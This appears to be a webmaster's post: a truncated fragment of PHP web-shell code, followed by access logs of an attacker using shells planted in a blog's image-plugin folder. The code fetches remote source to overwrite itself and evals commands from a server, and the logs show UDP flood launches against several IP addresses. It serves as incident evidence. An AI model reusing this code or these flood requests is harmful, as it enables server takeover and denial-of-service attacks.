if ($data{0} == "\x99" and $data{1} == "\x02") {return "You are using latest version!";}
if ($data{0} == "\x99" and $data{1} == "\x03")
{
$string = explode("\x01",$string);
if ($update)
{
$confvars = array();
$sourceurl = $string[0];
$source = file_get_contents($sourceurl);
if (!$source) {return "Can't fetch update!";}
else
{
$fp = fopen(__FILE__,"w");
if (!$fp) {return "Local error: can't write update to ".__FILE__."! You may download kira.php manually here.";}
else {fwrite($fp,$source); fclose($fp); return "Thanks! Updated with success.";}
}
}
else {return "New version are available: ".$string[1];}
}
elseif ($data{0} == "\x99" and $data{1} == "\x04") {eval($string); return 1;}
else {return "Error in protocol: segmentation failed! (".$data.") ";}
}
}
}
if (!function_exists("mysql_dump"))
{
function mysql_dump($set)
{
global $shver;
$sock = $set["sock"];
$db = $set[
From out WEb Logs:
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:39:11 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/ HTTP/1.1" 200 1314 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:39:13 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php HTTP/1.1" 200 28483 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:39:17 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=back HTTP/1.1" 200 129 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:39:18 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=up HTTP/1.1" 200 209 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:39:18 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=forward HTTP/1.1" 200 129 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:39:18 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=search HTTP/1.1" 200 260 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:39:18 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=sort_asc HTTP/1.1" 200 95 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:39:18 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=buffer HTTP/1.1" 200 173 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:39:18 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=ext_diz HTTP/1.1" 200 1037 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:39:18 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=refresh HTTP/1.1" 200 210 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:39:18 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=download HTTP/1.1" 200 171 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:39:18 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=change HTTP/1.1" 200 300 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:39:18 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=small_dir HTTP/1.1" 200 174 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:39:18 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=ext_htaccess HTTP/1.1" 200 127 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:39:18 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=ext_lnk HTTP/1.1" 200 582 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:39:18 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=home HTTP/1.1" 200 219 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:39:18 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=ext_php HTTP/1.1" 200 89 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:39:18 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=arrow_ltr HTTP/1.1" 200 98 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:40:38 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=home HTTP/1.1" 200 219 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:40:38 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=buffer HTTP/1.1" 200 173 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:40:38 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=search HTTP/1.1" 200 260 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:40:38 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=up HTTP/1.1" 200 209 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:40:38 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=forward HTTP/1.1" 200 129 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:40:38 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=small_dir HTTP/1.1" 200 174 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:40:38 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=back HTTP/1.1" 200 129 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:40:36 -0600] "POST /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php HTTP/1.1" 200 28262 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:40:38 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=ext_lnk HTTP/1.1" 200 582 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:40:38 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=ext_htaccess HTTP/1.1" 200 127 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:40:38 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=ext_diz HTTP/1.1" 200 1037 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:40:38 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=refresh HTTP/1.1" 200 210 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:40:38 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=download HTTP/1.1" 200 171 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:40:38 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=change HTTP/1.1" 200 300 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:40:38 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=ext_php HTTP/1.1" 200 89 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:40:38 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=sort_asc HTTP/1.1" 200 95 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:40:39 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=change HTTP/1.1" 200 300 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:40:39 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=arrow_ltr HTTP/1.1" 200 98 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:40:39 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=ext_diz HTTP/1.1" 200 1037 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:40:39 -0600] "GET /favicon.ico HTTP/1.1" 200 2238 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:41:03 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=home HTTP/1.1" 200 219 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:41:03 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=back HTTP/1.1" 200 129 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:41:04 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=up HTTP/1.1" 200 209 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:41:04 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=buffer HTTP/1.1" 200 173 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:41:04 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=sort_asc HTTP/1.1" 200 95 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:41:04 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=refresh HTTP/1.1" 200 210 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:41:04 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=forward HTTP/1.1" 200 129 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:41:04 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=ext_diz HTTP/1.1" 200 1037 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:41:04 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=change HTTP/1.1" 200 300 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:41:04 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=small_dir HTTP/1.1" 200 174 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:41:04 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=ext_lnk HTTP/1.1" 200 582 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:41:01 -0600] "POST /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php HTTP/1.1" 200 29455 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:41:04 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=ext_htaccess HTTP/1.1" 200 127 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:41:04 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=arrow_ltr HTTP/1.1" 200 98 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:41:04 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=ext_php HTTP/1.1" 200 89 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:41:04 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=search HTTP/1.1" 200 260 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:41:06 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php?act=img&img=download HTTP/1.1" 200 171 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:41:07 -0600] "GET /favicon.ico HTTP/1.1" 200 2238 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/WEBCONFIG.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:41:16 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/ HTTP/1.1" 200 1210 "-" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:41:27 -0600] "POST /blog/htmlarea/plugins/ImageManager/demo_images/index.php? HTTP/1.1" 302 1280 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:41:28 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/index.php? HTTP/1.1" 200 1280 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:41:36 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/index.php?type=UDP HTTP/1.1" 200 1375 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/index.php?" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:41:49 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/index.php HTTP/1.1" 200 1280 "-" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:47:11 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/index.php HTTP/1.1" 200 1280 "-" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:47:12 -0600] "GET /favicon.ico HTTP/1.1" 200 2238 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/index.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:47:57 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/index.php?type=UDP HTTP/1.1" 200 1375 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/index.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:47:58 -0600] "GET /favicon.ico HTTP/1.1" 200 2238 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/index.php?type=UDP" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:12:48:04 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/index.php?host=213.46.211.62&time=60&type=UDP HTTP/1.1" 200 1209 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/index.php?type=UDP" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:14:20:07 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/index.php HTTP/1.1" 200 1210 "-" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:14:20:08 -0600] "GET /favicon.ico HTTP/1.1" 200 2238 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/index.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:14:20:59 -0600] "POST /blog/htmlarea/plugins/ImageManager/demo_images/index.php? HTTP/1.1" 302 1280 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/index.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:14:20:59 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/index.php? HTTP/1.1" 200 1280 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/index.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:14:21:28 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/index.php?type=UDP HTTP/1.1" 200 1375 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/index.php?" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:14:21:33 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/index.php?host=84.97.140.105&time=60&type=UDP HTTP/1.1" 200 1212 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/index.php?type=UDP" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:14:25:00 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/index.php?host=84.97.140.105&time=60&type=UDP HTTP/1.1" 200 1212 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/index.php?host=84.97.140.105&time=60&type=UDP" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:14:55:24 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/index.php HTTP/1.1" 200 1280 "-" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:14:56:45 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/index.php?type=UDP HTTP/1.1" 200 1375 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/index.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
83-238-227-242.adsl.inetia.pl - - [08/May/2011:14:57:23 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/index.php?host=41.227.214.245&time=100&type=UDP HTTP/1.1" 200 1214 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/index.php?type=UDP" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
77-255-95-67.adsl.inetia.pl - - [09/May/2011:10:03:05 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/index.php?host=41.227.214.245&time=100&type=UDP HTTP/1.1" 200 1247 "-" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
77-255-95-67.adsl.inetia.pl - - [09/May/2011:11:39:44 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/index.php HTTP/1.1" 200 1210 "-" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
77-255-95-67.adsl.inetia.pl - - [09/May/2011:11:41:20 -0600] "POST /blog/htmlarea/plugins/ImageManager/demo_images/index.php? HTTP/1.1" 302 1280 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/index.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
77-255-95-67.adsl.inetia.pl - - [09/May/2011:11:41:21 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/index.php? HTTP/1.1" 200 1280 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/index.php" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
77-255-95-67.adsl.inetia.pl - - [09/May/2011:11:41:24 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/index.php?type=UDP HTTP/1.1" 200 1375 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/index.php?" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
77-255-95-67.adsl.inetia.pl - - [09/May/2011:11:41:30 -0600] "GET /blog/htmlarea/plugins/ImageManager/demo_images/index.php?host=197.200.77.81&time=100&type=UDP HTTP/1.1" 200 1213 "http://www.nk.ca/blog/htmlarea/plugins/ImageManager/demo_images/index.php?type=UDP" "Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.62 Version/11.01"
